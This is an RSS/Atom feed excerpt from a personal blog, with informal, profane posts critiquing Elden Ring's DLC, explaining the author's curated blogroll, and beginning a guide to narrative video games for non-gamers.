<p>You can't do that in Elden Ring. Pretty much everything you can see is something you can go to. Don't get me wrong, that's still pretty cool. And I understand there's a limitation on how much world you can make in a certain time-frame, and it's a certainty that every open world game will need to "miniaturise" what they represent.</p>
<p>But there's something specifically about "The Land of Shadow" that makes me go "oh, is that all?" while exploring it. Kinda like how confused I was just getting a one minute cutscene after beating that FUCKING SHIT FACSIMILE OF A FINAL BO-</p>
<p>I think a lot of that feeling comes from the fact that the "world" takes place on the entire island/continent. That there's nothing else out in the distance that I just can't get to.</p>
<p>When I was a child I played a lot of Need for Speed Underground 2, an open world racing game taking place in one city. From what I remember<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> the city is connected to the rest of "the world" through a highway that is blocked by an invisible wall, that you can't get through, but the NPC cars could.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I could be wrong, it has been a long time.</span></aside>
<p>While the map was pretty small (especially for today's standard), I could always imagine it to be bigger. That highway was always taunting me, that if I could just get somehow get on it, I could see the rest of the world. I could drive to different cities, drive different cars. Obviously, these things didn't exist. But I imagined that they did.</p>
<p>Being in a greater "context" honestly makes the map of games like Need for Speed Underground 2, and other open world games that take place in a single city a la Cyperpunk 2077 <em>feel</em> bigger, more real, more "meaningful" than Elden Ring, at least to me.</p>
<p>I think this amusement park feeling is probably an innate quality with open world games that try to represent large areas of land. The closest I've been to not having this feeling was with The Witcher 3 and Dragon's Dogma 2.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<p>When travelling through an entire continent with multiple regions and biomes, it should <em>feel</em> like an adventure in Elden Ring. But when you can literally zoom through everything in under 5 minutes, it doesn't seem like there's much there.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Breath of the Wild/Tears of the Kingdom also get close, but because of how interactive the world is, and it's whole state machine deal, instead of the actual map design. Although that still is top-notch.</span></aside>
<p>Dragon's Dogma 2 has a pretty "compact" map size, but going from town to town is still meaningful even if it takes just as long as in Elden Ring. That's partly because fast travel is a scarce resource so you don't use it often, but a lot of it is because the map is paradoxically less "open."</p>
<p>A lifeless open world isn't the worst thing to ever happen. At least it looks pretty, and has interesting geography to traverse through to make up for it.</p>
<p>The real issue is that I don't want to play Dark Souls anymore.</p>
<p>There have been five Dark Souls games at this point. I think it's been enough.</p>
<p>The first Dark Souls was an experiment to subvert the genre, to challenge conventions. This is the game that took the common sense approach to game design that states you should help struggling players and went "let's not do that, let's make the game harder every time you die." And as it's been said so many times, this wasn't done just for the sake of being hard, but to provide a unique experience.</p>
<p>The second Dark Souls took the first and sanded the rough edges to make it more palpable. It was a critical and commercial success that every game from then on wanted to emulate.</p>
<p>The third Dark Souls took the second and asked "what if we made it shit?"</p>
<p>The fourth Dark Souls took the second, sanded the rough edges again, and asked "what if we made it slightly worse, and leaned harder into a sub-par combat system?"</p>
<p>This fifth Dark Souls took the forth and made it open world. What does it do with it's open world? The same thing as every other game.</p>
<p>A lot was lost when this series became a trendsetter and had it's own genre named after it. It doesn't do anything you don't expect.</p>
<p>The easiest issues I can explain is about the combat system, which might require me to talk about difficulty. And I know I promised to not do that, but I really want to talk about it, so I invite you to consider this argument I made with my expert diplomatic skills in the hope your mind will be changed.</p>
<p>PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE.</p>
<p>Ok so Dark Souls combat has and probably will always fucking suck balls and is simultaneously too easy and too hard.</p>
<p>Easy in the sense that you do the same shit every fight. And hard in the sense that it's fucking bullshit and boring.</p>
<p>I'm mostly going to be talking about the bosses because let's be honest, no one gives a shit about the normal enemies. I also actually rarely fought normal enemies in the open world because they're so easy to avoid. There's probably something to be said about that, but I don't feel like it.</p>
<p>Now to be Fair and Balanced™, Elden Ring has added many interesting mechanics to avoid it's dependence on i-frame rolling being the only way to avoid damage. The jump button has been a big addition for traversal and combat.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> And some of the ash of wars and crystal tears like Deflecting Hardtear can enhance other combat styles that weren't that viable before.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Someone not familiar with the series would probably think is a joke and I find that incredibly funny.</span></aside>
<p>The problem is that the process of fighting bosses is still always the same.</p>
<ol>
<li>Enter the boss arena and die a few times for reconnaissance.<ul>
<li>Discover their long their combos are.</li>
<li>Figure out which attacks are roll catchers.</li></ul></li>
<li>Play the game.<ul>
<li>Roll mindlessly until you see a roll catch.</li>
<li>Wait up to 15 seconds for their combo to end.</li>
<li>Get one hit in.</li>
<li>Repeat 50 times.</li></ul></li>
</ol>
<p>It wasn't that bad in the early Dark Souls because we didn't have these 10 string combos on every boss, but I understand they probably had to do something to stop the combat from getting too monotonous and stale.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>I will say that even if you always do the same thing, the uniqueness and excellence in animations and design of every boss carry them hard, and almost make it not an issue.</span></aside>
<p>Even with all the additions, I think this system has run it's course. There's only so much you can do with "press the button at the right time 10 times in a row when it's the bosses' turn, then when it's yours, you get a single hit in."</p>
<p>Other games require you to master things like positioning, target prioritisation, pattern recognition, even a little bit of that good ol' "game sense." In contrast, the Dark Souls series is almost entirely reactive in the challenges they present.</p>
<p>At best there are a few knowledge checks if you don't know how to roll, where you can change your build to better counter the boss. Well, the same can be said for Armored Core and those games are actually fun to play but ok I guess.</p>
<p>Although with every boss getting these crazy combo strings with so few opportunities to attack back, I have no idea you could attempt them with different play styles like using sorceries. There is no way you are finding space to start casting without a summon to distract the boss.</p>
<p>I don't even think it's a "press button at the right time is boring" issue. That's also what you do in Sekiro and I consider that Fromsoft's best work by far to date.</p>
<p>I think it's almost entirely because of i-frames. Having to rely on them so much is a shit mechanic. Not only is there some severe dissonance with rolling to a bosses' in order to avoid damage, it's also not fun with these ass hitboxes to get hit when you feel like you rolled correctly.<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> They should remove i-frames, just rip the bandage off and lean into those mechanics that have been slowly introduced. Make it like fucking Monster Hunter or something I dunno.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>The final boss has an attack that literally goes well over your head and still hits you. Seriously, fuck that guy (not if you're his brother though).</span></aside>
<p>Please Fromsoft, stop playing it so safe. Stop succeeding and failing in the exact ways anyone familiar with the series could predict the moment they heard "open world Dark Souls." PLEASE DO SOMETHING SO THAT THE DISCOURSE SURROUNDING THE GAME ISN'T ONLY ABOUT IT'S DIFFICULTY.</p>
<p>Or do Sekiro again.</p>
<p>No but seriously, with i-frames being so entrenched into the entire genre, not just Fromsoft's games. The series has a prime opportunity to subvert it again.</p>
<h2 id="epilogue">Epilogue</h2>
<p>My favourite boss was Rellana.</p>
<p>Now I know that might sound strange to anyone who's fought her, because she is literally the embodiment of everything I've been complaining about. But please consider the following argument.</p>
<p>She kinda bad tho frfr.</p>
<p><img src="/img/sotet-rellana.jpg" alt="rellana" /></p>
<p>I haven't been this attracted to a full suit of armour since Knight Atorias.</p>
<p>She also has the coolest weapon(s) in the game. I was so hyped to get her twin blades from her remembrance and it caused me to use a larval tear for the first time to respec some points into intelligence.</p>
<p>Dual wielding/power-stancing is my favourite thing ever, I played through the entirely of the base game power-stancing curved greatswords (Bloodhound's Fang and Morgott's Cursed Sword), so to have a weapon that is specifically for that? Oof, that's good.</p>
<p>Not only are they are two in one weapon, but you can still add something to your left hand. So I also used a Milady with frost added, which meant I could choose between magic + fire, or magic + frost damage.</p>
<p>It's also cool to see this neat animation whenever I switch my left hand weapon.</p>
<p><img src="/gif/eldenring.gif" alt="weapon swaping" /><span class="footnote-link" id="footnote-8"><sup>(8)</sup></span></p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>Ignore the healthbar, I took points off vigor to level int. Don't judge me, I was getting two shot either way what difference does it make?</span></aside>
<p>I dunno I just like the immersion of not having weapons appear and disappear into thin air.</p>
<p>Unfortunately, it wasn't as strong as my base game build. I seriously tried these light greatswords on every boss after Rellana, but those curved greatswords did more damage, staggered more, and had crazy amounts of bleed which is still kinda OP. Even with the fact that the twin blades are much faster, I couldn't capitalise on them when my turn to play could only allow one or two hits.</p>
<p>With them being the only new weapons I liked (even if they were a crutch most of the time) I was thinking of saying something about how I never found any interesting items or weapons while exploring the world previously. But that's probably just a me problem, I'm sure lots of people like the new things.</p>
<p>Also I don't actually want to talk about the final boss that much. So I'll just leave with this - there have only been two instances in any of Fromsoft's games where felt so desperate that I left a boss to grind for more levels. The other time was with Melania.</p>
<p>But there has only been one time in any of Fromsoft's games where I felt so desperate that I changed my entire build and playstyle. Although maybe some of that was because I didn't want a repeat of the 2 hours I spent with Melania.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Why Is This The Only Good Blog On The Internet?]]></title>
        <id>https://justin.duch.me/post/blogroll</id>
        <link href="https://justin.duch.me/post/blogroll"/>
        <updated>2024-05-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I've recently added enough blogs to my <a href="/blogroll">blogroll</a> to officially publish it. I think it's pretty cool. You should check it out right now, I'll still be here when you come back.</p>
<hr />
<p>So I want to talk about the process of deciding what blogs were added. I've been planning the blogroll for around 2 months, and only added 5 out of the dozens of blogs I read regularly.</p>
<p>The gist of it is that my only criteria was that I needed to consider the blog better than my own. Unfortunately, most people (that is, everyone not on the blogroll) write shit blogs.</p>
<p>No but actually the blog needed to be, in my opinion, an exemplary example of what a blog can provide as a form of communication on the Internet. A decent chunk of work needed to be done to add one to the blogroll, so having to filter out them was kind of necessary. And if I were to copy the layout and design of some sub-standard blog, it wouldn't be very interesting for me to create or you to read.</p>
<p>Really, the raison d'être for my blogroll was for it to force the readers to actually engage with the blogs. I know from experience that just clicking on a bunch links, and trying to find the value in a blog is too much to bother with. Honestly if a blogroll has over 5 blogs, I'm just clicking away.</p>
<p>I wanted it to feel like a more curated experience, so that you have more reasons to pay attention. And I can't really do that if the blog isn't all that interesting.</p>
<p>Another criteria, and probably the most limiting was for there to be NO PROFESSIONAL PROGRAMMERS.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Or rather, as few as possible. Some people are just too good to leave out.</span></aside>
<p>I'm talking about people who code for money here. If you maintain a blog, you probably at least know some HTML, but you wouldn't be considered a "professional."</p>
<p>The "blogosphere" is overrun with tech workers (for obvious reasons), and I personally find <strong>very</strong> few of them interesting. Maybe this is just arrogance, but I don't ever see the need to read your opinions on technology. I know enough to make my own thank you very much. Please let me find someone who talks about shit I know nothing about.</p>
<p>Yes, I understand this is somewhat hyperbolic and hypocritical. But I would really love a world where I can just find someone's blog and the first post I see isn't: "Here's my opinion on React that's exactly the same as literally everyone else."</p>
<p>There are plenty of brilliant programmers writing just as brilliant blogs that I read regularly. But let's be honest, most tech blogs are not that good, I'm tired of them, and I don't want to see more.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Like, I'm not very smart so I can't write these posts where I do things that seem like fucking wizardry to the common programmer, but I at least TRY to do something interesting with my blog.</span></aside>
<p>Okay that was a bit mean. Look, if you have a blog for like writing down the things you've learnt, or showing to employers, or whatever, that's great. Having a blog is good, you should keep doing it (or start if you haven't), even if it's completely uninteresting to me. You don't write for me. I just don't want to read it.</p>
<p>And I don't. So I'm not sure what I'm complaining about actually…</p>
<p>Anyway back on topic, I wanted the blog to be a "continuation" of my own. I mean it's still <strong>my</strong> blog, I just took their presentation because I thought it was the best way to sell them to you. I don't know anything about you, or what you like, so it's a little difficult to make recommendations.</p>
<p>I assume you're here because you like reading my inane ramblings, you sick fuck. So I wanted to point you to blogs that do somewhat similar things, or that I at least take inspiration from.</p>
<p>This means a preference for loosely edited, long-form writing with an informal, personal tone about a more diverse range of subjects. Not all blogs in the blogroll are like this, but not many people actually write blogs in this way.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Which really sucks for me honestly. I've been looking for a blog similar to mine for many years now. Mostly just so I can determine how well I've been writing this blog, and how well I've achieved what I want to do here. Maybe this is a bad thing, but I find it hard to judge myself without comparing myself to others.</span></aside>
<p>I think I added a decent group of blogs and I hope you've subscribed to the RSS feed of at least one of them.</p>
<h2 id="theobligatoryepiloguethatisaslongorlongerthantheactualpost">The Obligatory Epilogue That Is As Long or Longer Than the Actual Post</h2>
<p>So I reckon you're probably at least a little curious about the blogs left on the chopping block. And I have good news! We're going to be going through some of them!!! Don't say to your mum that I don't treat you well now! Also, please ignore all those times in past blog posts where I refuse to explain things to you.</p>
<ul>
<li><a href="https://dannybate.com/">Danny L. Bate</a></li>
</ul>
<p>This was a tough one to keep out. I <strong>really</strong> wanted to put a linguist in the blogroll, it's like one of the top three things I write about here, and I'd love to give you recommendations to learn more.</p>
<p>Most linguist blogs are a "etymology of the day" sort of thing, which just straight up do not fulfil my criteria. Danny's blog is great because it's not that, and he actually writes about interesting things in detail.</p>
<p>But for some reason… I just couldn't do it. I dunno? I didn't feel like the vibes fit with the others, it doesn't have that <em>je ne sais quoi</em>. Don't get me wrong, it's a good blog,<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> definitely in the top echelon of Internet blogs.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>No blog I'm going to talk about is bad. These are still recommendations.</span></aside>
<p>I'm not entirely sure what it is, and perhaps I'll change my mind at some point and give it a page of it's own. But yeah, it is a fun linguistics blog and you should read it.</p>
<ul>
<li><a href="https://theeggandtherock.com/">The Egg And The Rock</a></li>
</ul>
<p>So actually, there was one other criteria for adding a blog to the blogroll. The blog needs to be purely "theirs" or simply put - no Substack, Medium, or Ghost blogs.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> Or maybe better put, if I can immediately tell that a third-party service was used then it's not eligible. I just didn't want the possibility of two or more blogs looking the same.</p>
<p>Probably a little contradictory with the "NO PROGRAMMERS" rule but there honestly weren't that many that were cut because of this.</p>
<p>Unfortunately, that was not the case for Julian Gough's "The Egg And The Rock," so I think it's worth mentioning here.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I have no issues with Wordpress as it's pretty easy to make your own.</span></aside>
<p>I myself am not entirely sure what the blog and Gough's upcoming book is "about." But I'll defer you to the first post, <a href="https://theeggandtherock.com/p/in-which-i-talk-about-minecrafts">"In Which I Talk About Writing Minecraft’s End Poem, And Describe the Problem My Next Book Is Trying To Solve"</a> for an interesting read.</p>
<ul>
<li><a href="https://www.youtube.com/@BennJordan">Benn Jordan</a> (YouTube)</li>
</ul>
<p>I know a YouTube channel isn't a blog, and that it would have violated the criteria I just told you. But I think it would have been an interesting subversion. Like it would have been funny for you to click "next blog" and suddenly be presented with YouTube (or my version of it rather) and start watching a video, with me pretending to be Benn Jordan.</p>
<p>Ultimately, it didn't happen because I don't want to make a YouTube video. I wouldn't be happy with it unless I went <strong>all</strong> the way - got a DSLR, lights, microphones, the works to make it feel like an actual Benn Jordan video. Combine that with my social anxiety making me allergic to cameras… yeah it was never happening.</p>
<p>Would have been really cool though.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>Arrghhh, I'm haunted by all the lost potential of this idea. Think of all the funny jokes I could have made with the recommended videos and comment section!!!!</span></aside>
<p>Oh right, Benn Jordan is a YouTuber (he's probably better known for his music under The Flashbulb, but I know him from YouTube) who makes videos about music and sounds. He's probably my favourite YouTuber at this point for a multitude of reasons… that I won't explain :)</p>
<ul>
<li><a href="https://www.todepond.com/">Todepond dot com</a></li>
</ul>
<p>I've had Lu Wilson on my radar since SandPond was called SandBoys or something like that, I honestly don't really remember it's been a long time. But that's all to say I'm familiar enough with their work to say this with a modest amount of confidence.</p>
<blockquote>
  <p>Lu is not an idiot.</p>
</blockquote>
<p>Todepond is almost the complete opposite of my blog in many regards, and violates a lot of the criteria I set for choosing blogs to add. But it was <em>this</em> close to getting in,<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> replacing the spot of being the sole "programming" blog. And that's because it's interesting to me <em>personally</em>.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>I'm saying it like being in my blogroll is some kind of award lmao.</span></aside>
<p>I don't think this is the best place to get into it, but because of several reasons you might be able to guess if you've read this blog long enough (or know me in real life), I've become increasingly arrogant over the past seven years. I think I have earned that arrogance, but I can see that it's not particularly good to have.<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span></p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>I'm not really talking about what I say on this blog, a lot of that is played up for the funnies. So maybe "arrogance" isn't the correct word, but I think I may have just found next years' anniversary post.</span></aside>
<p>I think this blog has legitimately made me more receptive to other people's opinions when it comes to tech/programming, which is really the only time when I don't listen to other people.</p>
<p>So if I see something arguing to <a href="https://www.todepond.com/wikiblogarden/art/never-stop-writing/on-your-phone/">"Write your blog from your phone,"</a> I'm first going to be thinking "that that's the stupidest thing I've ever heard, I'd rather kill myself than do that, what the fuck."</p>
<p>Also why on Earth do people spend so much time on the toilet with their phone? Don't you think that's kinda gross? Don't you have better things to do?? I don't understand it, when I go to the toilet - <strong>I SHIT</strong>.</p>
<p>But.</p>
<blockquote>
  <p>Lu is not an idiot.</p>
</blockquote>
<p>So why are they saying something so sacrilegious? Let's actually think about it, instead of just immediately dismissing it because it's stupid and dumb.</p>
<p>This one is actually pretty easy. It's probably because they're right and I need to realise not everyone has been breathing with Vim bindings since they were 13 years old, so the thought of writing without them doesn't make them immediately ideate about suicide.<span class="footnote-link" id="footnote-10"><sup>(10)</sup></span></p>
<aside class="footnote-body" id="footnote-10-body"><sup>(10)</sup><span>It's okay, I can joke about suicide, I have depression. It's like the n-word.</span></aside>
<p>Being able to write blogs on your phone is probably a lot more intuitive for people. And maybe there should be easier ways to allow that to happen.</p>
<p>I don't have anything on phone usage in the toilet thing yet.</p>
<p>Alright, <a href="https://www.todepond.com/wikiblogarden/better-computing/worse-computing/no-more-tools/">here's a more interesting one.</a> Pretty simple to understand, I can put the entire post right here.</p>
<blockquote>
  <p>NO MORE TOOLS</p>
  <p>WE HAVE ENOUGH</p>
</blockquote>
<p>So here's the arrogance again. I'm generally in favour of always making your own tools, because most people fucking suck at programming, so whatever you come up with is going to be much better.<span class="footnote-link" id="footnote-11"><sup>(11)</sup></span> And by you, I mean me.</p>
<aside class="footnote-body" id="footnote-11-body"><sup>(11)</sup><span>I'm applying the post to programming, because in the context of the rest of the blog, it makes the most sense. It could possibly be (and probably is) about other things as well.</span></aside>
<p>I generally try to minimise my dependence on other people as much as possible because it's easier for me, and for them most of the time as well. In fact, I've slowly been learning things to be able to run this blog on a distributed web server written by me, calling processes to an Operating System I made, on hardware I designed. The day that happens is the day this blog ends.</p>
<p>Making and using tools is also just fun as hell. I love tools. There should be more tools. If you don't like having more tools, you're probably just too dumb to learn new things.</p>
<p>Trying to understand this "no more tools" <a href="https://www.todepond.com/wikiblogarden/my-wikiblogarden/no-more-ideas/">idea</a> is a lot harder to do, partly because it's just two fucking lines so it becomes difficult to tell if I'm reading too hard into it,<span class="footnote-link" id="footnote-12"><sup>(12)</sup></span> and partly because I think this is a fundamental disagreement about programming.</p>
<aside class="footnote-body" id="footnote-12-body"><sup>(12)</sup><span>Because most things on Todepond dot com are seeped in so much fucking shit-house subtext that it becomes a Dark Souls poisonous swamp (pun intended) that I can't most of the time be bothered to even attempt to wade through.<br/><br/>It's pretty cool, very post-modern.</span></aside>
<p>The closest thing I can relate it to is the consensus that there are "too many JavaScript frameworks." It's an idea that I've had my fair share of using to make fun of JavaScript. But the truth is, I don't actually really care, I say it because I like shitting on JavaScript.</p>
<p>I actually like how many JavaScript frameworks there are. I think there should be more if anything. Seeing other people's tools serve to make your own better. It's why I still read other people's blogs when I'm pretty sure I have the best one ;)</p>
<p>But.</p>
<blockquote>
  <p>Lu is not an idiot.</p>
</blockquote>
<p>So here's an excerpt from <a href="https://www.todepond.com/wikiblogarden/my-wikiblogarden/pictures/serious/">"Getting serious about images"</a> which gives a little more insight.</p>
<blockquote>
  <p>What I should have done is - kill the feed maker every time it went buggy. And I should have made a better, simpler, more throwaway one each time.</p>
  <p>I am not developing tools, I am developing skills, and a practice of ultra-simplicity, with no compromise, without escape! Software isn’t a thing, it’s a craft. A chair maker doesn’t develop a single chair for years on end. They make more and more chairs, better chairs. And they don’t pass on chairs to future generations. They pass on skills and knowledge and experience and expertise. We should see software the same way.</p>
  <p>It’s a dangerously thin line between a tool (bad) and a throwaway solution (good).</p>
  <p>When we write some code that does a job for us, how do we stop it from turning into a project of its own?</p>
  <p>Perhaps by making it hyper-specific to what we’re doing in that specific moment. Or perhaps by making it unmaintainable. Write-only code. Reading is impossible.</p>
  <p>In my case, my problem is that I don’t know how to write a throwaway solution for uploading images to my github repo. I can’t do it quick enough to make it lightweight.</p>
</blockquote>
<p>Oh my Bidoof I really fucking hate analogies about software to other professions. Software doesn't exist. It's not a real thing, and it never gets turned into a one. We made it up. Especially websites, they're not fucking real buddy.</p>
<p>Why is any of this bad? I honestly do not understand why something "turning into a project" is bad, which apparently according to Lu is when you have to make bug fixes or some shit?? I dunno but in my opinion, learning to fix your garbage is probably a good skill to be developing.</p>
<p>Also, how tf do you make something more specific than "RSS feed generator?" It very clearly does ONE thing. THAT IS THE DEFINITION OF SPECIFIC.</p>
<p>And FYI we have already "write-only" code, dunno if you've heard about it but it's called "compiling to assembly," it's a thing not shit languages do.</p>
<p>Yeah, I don't really know. I'm sure they have their reasons though.</p>
<p>In conclusion, everyday I open up Mastodon and see that Lu has posted again to Todepond dot com. Once I click on it, I get either an incredibly interesting and poignant text or just complete, utter fucking nonsense. As a degenerate gacha gamer, this "lootbox" style of blogging really appeals to me, and would have been a great addition to the blogroll if not for the fact that the design of the site wouldn't have provided me a fun enough experience to copy. I already dislike "front-end" stuff for my own blog enough, at least give me something interesting to do.</p>
<h2 id="epiloguefortheepilogue">epilogue for the epilogue</h2>
<p>Haha jokes, I'm not done here. It wouldn't be a blog post on <code class="prettyprint">justin.duch.me</code> if it didn't have at least 5 digressions, now would it? There's a few things I wanted to mention in the intro to the blogroll, but didn't think it fit so here's probably the next best place.</p>
<p>So for a blogroll it's usually common courtesy to add blogs that already have you in their own blogrolls. I'm aware that I'm actually in a few, and I appreciate that a lot. But I hope you can understand why I'm not reciprocating.</p>
<p>I've been thinking of ways with which I could return the favour. Perhaps I could make a secondary blogroll with all the other blogs I wanted to add. To minimise the work I need to do, I'll just put them in a lis-</p>
<p>…</p>
<p>Yeah, I get why blogrolls are just lists. To be honest, I knew from the start that this would be a "failed" experiment, but went ahead anyway because I thought it would be interesting. I mean, it's literally just a curated <a href="https://en.wikipedia.org/wiki/Webring">webring</a> but I tried my best ;(</p>
<p>So since I've kinda already done it, this post might be a good place to put the "list" in. But that would require me to update the post when I find new blogs, which is not something I do. Compound that with the fact that this post is also going get lost in the eventual sea of futures, meaning people won't ever see it.</p>
<p>I considered making a series of posts for "blog recommendations." But if I want it to be a post, it needs to be like the others - long-form, meaningless ramblings about dumb shit that only interest me. And as I don't have much to say about most blogs, I don't really want to do that.</p>
<p>I don't know. I've never been good at "product."<span class="footnote-link" id="footnote-13"><sup>(13)</sup></span> And if this could have been solved with distributed systems, I would have already done it.</p>
<aside class="footnote-body" id="footnote-13-body"><sup>(13)</sup><span>I know what we want is not, and should never be a "product." But I have startup brain-rot, I honestly don't know what the correct word should be.</span></aside>
<p>But seriously though. Bullet point lists? That's still the best we got?</p>
<p>There's gotta be something better than that.</p>
<p>My Bidoof, this whole blogroll arc has been really ranty, huh? I'm not usually this feisty without a couple martinis.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[French is a Poision, I am the Heal]]></title>
        <id>https://justin.duch.me/post/spe_002</id>
        <link href="https://justin.duch.me/post/spe_002"/>
        <updated>2024-05-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Please read on original website.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Short List Of Video Games As Art For People Who Don't Play Video Games]]></title>
        <id>https://justin.duch.me/post/video_game_art</id>
        <link href="https://justin.duch.me/post/video_game_art"/>
        <updated>2024-03-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I'm not at interested in the "are video games art?" discourse. This post isn't going to make an argument for it. This is for if you're already interested in games as an art form but don't know where to start.</p>
<p>In my opinion, most things are art, it's being able to feel emotion and experience what I couldn't otherwise. This is normally what I look for and judge the media I engage with; How well it invokes feeling into me.</p>
<p>If you more or less share this opinion, and you've never played a video game before, I think you are missing out. And I am here to help rectify that for you.</p>
<p>What sets video games apart from other media is the unique experience they offer. Each game is a new language of interaction to learn, distinct from others yet somewhat standardised by genre conventions that, once familiar, make navigating similar games more intuitive.</p>
<p>Video games can encapsulate the essence of all art forms, adding a layer of interactivity. While there is art in game mechanics and button skill,<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> they're harder to appreciate if you don't already play games. So I'm mostly only going to be talking about narrative interactivity.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Button skill is how good you are at pressing buttons - controlling the video game. Most people starting out have to look at their controller to see what button to press, but as you gain more experience it should start to come naturally.</span></aside>
<p>We'll dive into games that exemplify the medium's unique capabilities, ones that I think couldn't be fully realised in any other form without significant changes to their narrative structure. I'll try to introduce you to titles that are accessible for beginners, both in terms of gameplay mechanics and genre conventions.</p>
<p>But first we need to talk about;</p>
<h2 id="hardware">Hardware</h2>
<p>The biggest barrier to entry for video games (apart from actually knowing how to play the game) is the hardware it needs to run on. It can get <strong>real</strong> expensive.</p>
<p>Thankfully, most games don't actually need expensive hardware to run on, because the most graphically intensive games are the most expensive to create, and since capitalism and art don't work together very well, the most expensive to create games pretty similar to each other and usually aren't that interesting.</p>
<p>When I was a teenager I played all my games on a <a href="https://icecat.biz/en-au/p/dell/5537-8882/inspiron-notebooks-15r+-5537-24408678.html">Dell Inspiron 15R 5537</a> from 2013 that my parents bought for me to do school work on. This laptop is over 10 years old now and would be able to play every game we're going to discuss with little issue.</p>
<p>If already you have a laptop that isn't a Chromebook<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> and was made in the last 5 years, it will probably be able to play most if not all of the games in the list. A MacBook with an M1/M2 chip will also be fine (for games that can run on MacOS, which is unfortunately not many so I don't actually recommend it).</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Chromebooks usually do not have dedicated graphics, and you'd most likely want Windows as your OS for gaming.</span></aside>
<p>If you don't already have a desktop or laptop that can run games, you should be able to get an okay pre-built desktop PC for around $1000 AUD. I wouldn't suggest buying a "gaming laptop" unless you can find other uses for it, like maybe you also need it for work or school, because they aren't economical at all. <a href="https://store.steampowered.com/">Steam</a> is the most popular digital storefront for games on PC and I second buying your games from there.</p>
<p>Otherwise, I'd suggest purchasing a Nintendo Switch console which are pretty cheap and can still run games well enough, but with a more limited selection of games that work on Switch hardware. While not specifically a requirement I had while making the list, every game can be bought and played on the Switch, but bear in mind I only play on a desktop PC so I can't attest to the technical quality of Switch games. I do have a Switch for games that can only be played on a Switch, and those work fine, so I'm assuming these do as well.</p>
<p>Since you're reading a blog post about pretentious artsy bullshit, I'm assuming you're not stupid and have basic critical thinking skills so I won't be explaining <em>everything</em> as I'm sure you'll be able to figure it out, and it's better if you go into all these completely blind.</p>
<p>But if there is something that confuses you, or you need help with - my email is <code class="prettyprint">justin@duch.me</code>. Feel free to email me. That's how serious I am about getting you to do this.</p>
<p>With all that out the way, we can begin.</p>
<h2 id="discoelysium2019">Disco Elysium (2019)</h2>
<p>Disco Elysium is the GREATEST piece of media ever made, and if you disagree with me you are NITPICKING and BIASED.</p>
<p>This is actually the only game I want you to play (or at least, play first). You can ignore everything else (but please don't). This game is basically a book (but not actually because it could only work as a game). It could run on a potato (given enough potatoes you could make a battery to run a computer). You have no excuses to not play this game (unless you just don't want to). If I could somehow force you to play this game, I would (I wouldn't, I'm a good enby).</p>
<p>Disco Elysium is a narrative-driven role-playing game that dives deep into themes of personal identity, political ideology, morality, and the human condition through its hauntingly beautiful writing. It will challenge you to navigate complex social issues, mental health, and existential questions, all while solving a murder mystery.</p>
<p>It doesn't have any traditional combat, so button skill shouldn't be an issue. But you may need a primer on role-playing game (RPG) mechanics.</p>
<p>RPGs are about assuming the role of a character and "role-playing" as them. At the start of the game, you create your character and decide your mental, emotional, and psychological traits/skills. RPGs with combat will also include physical attributes or combat abilities. As you play the game you gain "experience points" that allow you to put additional levels in your abilities, dictating the path the development of your character takes.</p>
<p>The core gameplay revolves around talking to characters, investigating crime scenes, and solving puzzles. Your traits/skills influence the options available to you in conversations. This means your character's build can open up or close off different paths in the game. For example, if you have a high points in "Authority," you might intimidate a witness into talking, but if your "Empathy" is higher, you could choose to sympathize with them instead.</p>
<p>The choices you make in conversations and how you decide to investigate have real consequences on the story's outcome. Different skills and choices can lead to entirely different experiences and endings.</p>
